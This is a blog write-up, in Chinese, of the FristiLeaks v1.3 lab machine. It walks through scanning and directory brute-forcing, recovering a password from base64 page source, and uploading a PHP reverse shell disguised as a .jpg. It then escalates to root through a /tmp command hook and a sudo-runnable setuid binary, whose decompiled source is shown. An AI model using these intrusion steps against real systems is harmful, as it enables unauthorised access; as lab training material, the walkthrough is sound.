FristiLeaks v1.3
按要求将mac地址改为08:00:27:A5:A6:76
- 主机发现
两种方式:
nmap -sP 192.168.199.0/24
netdiscover -r 192.168.199.0/24
- 端口扫描
nmap -sS -sV -p1-65535 192.168.199.174 -A
- 扫描结果
1 | PORT STATE SERVICE VERSION |
- 访问
- 主页没什么附加链接,于是访问robots给出的三个目录,都是同一张图
- 很烦,回到主页面,说到一句话KEEP CALM AND DRINK FRISTI,于是我们尝试附加上fristi再进行目录爆破
dirb http://192.168.199.174/fristi/
- 得到了两个目录:
index.php
uploads/index.html
- index.php是一个登陆框
- 不是弱密码,查看网页源码,发现了一串base64
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==
- 解码是一张png格式图片,于是我们尝试利用如下命令:
base64 -d /tmp/encoded.txt decoded.png
- 得到猜测是密码的图片
- 另外由于之前的页面源码上的一段注释
1 | <!-- |
- 猜测用户名为eezeepz,于是成功登录,要求上传图片,利用shell(可反弹的shell:http://pentestmonkey.net/tools/web-shells/php-reverse-shell),简单更改里面的源码为自己的IP和端口,然后将后缀附加为`.jpg`,上传成功,回显如下信息:
- 猜测地址在/uploads/shell.jpg,一试果然成功反弹shell
- 查看用户情况
1 | root:x:0:0:root:/root:/bin/bash |
- 尝试
su
,sudo
,需要密码,但之前的密码不行,转而查看home目录下的用户
- cd到eezeepz用户目录,查看目录下文件
- 注意到notes.txt,查看
根据提示,在/tmp下
touch
一个runthis文件,因为他会执行runthis中的命令,于是我们写入
命令echo "/usr/bin/../../bin/chmode -R 777 /home/admin">/tmp/this
于是就可以读取/home/admin下的文件
cryptpass.py
Cryptepass.txt
whoisyourgodnow.txt
根据加密方式,写出解密方法:
1 | import base64,codecs,sys |
- 得到了:
1.mVGZ3O3omkJLmy2pcuTq :thisisalsopw123
2.=RFn0AKnlMHMPIzpyuTI0ITG :LetThereBeFristi!
- 尝试登录用户:
基本概念:
1.tty(终端设备的统称):
tty一词源于Teletypes,或teletypewriters,原来指的是电传打字机,是通过串行线用打印机键盘通过阅读和发送信息的东西,后来这东西被键盘和显示器取代,所以现在叫终端比较合适。
终端是一种字符型设备,他有多种类型,通常使用tty来简称各种类型的终端设备。
2.pty(虚拟终端):
但是假如我们远程telnet到主机或使用xterm时不也需要一个终端交互么?是的,这就是虚拟终端pty(pseudo-tty)解决办法:
Python -c ‘import pty;pty.spawn(“/bin/sh”)’
为什么这样可以呢,找了一番:
- Spawn a process, and connect its controlling terminal with the current process’s standard io. This is often used to baffle programs which insist on reading from the controlling terminal.
- spawn 是通过 fork 方式实现,然后子进程执行具体的命令,然后父进程去获取终端的输出,强调获取数据而已
- 出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符
然后可以进入fristigod账户:
ls -la
- 到.secret_admin_stuff看看
- 继续 ls -la 查看具体信息
- docom是一个可执行文件,但权限不够
- 回去查看history(这一步其实在渗透的过程很重要,根据用户的命令历史搜集线索)
- 可以看到 “fristigod”用户一直sudo来执行命令,尝试
sudo -l
- 密码:LetThereBeFristi!
- 创建一个shell
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
- 直接去看/root下的文件
我们可以将doCom反编译:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32int __cdecl main(int argc, const char **argv, const char **envp)
{
char dest[8]; // [sp+10h] [bp-80h]@1
char v5; // [sp+18h] [bp-78h]@1
int v6; // [sp+70h] [bp-20h]@1
const char **i; // [sp+80h] [bp-10h]@7
__uid_t v8; // [sp+8Ch] [bp-4h]@1
*(_QWORD *)dest = 0LL;
memset(&v5, 0, 0x58uLL);
v6 = 0;
v8 = getuid();
if ( v8 != 503 )
{
fwrite("Nice try, but wrong user ;)\n", 1uLL, 0x1CuLL, stderr);
exit(1);
}
if ( argc <= 1 )
{
fwrite("Usage: ./program_name terminal_command ...", 1uLL, 0x2AuLL, stderr);
exit(1);
}
strcat(dest, argv[1]);
for ( i = argv + 2; *i; ++i )
{
strcat(dest, " ");
strcat(dest, *i);
}
setuid(0);
system(dest);
return 0;
}
strcat将两个char类型连接
逻辑就很明显了:
检查用户的id如果不等于503,打印如下内容
Nice try, but wrong user ;)
检查参数,并利用system执行所给参数
Author: damn1t
Link: http://microvorld.com/2019/05/07/靶机/FristiLeak/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.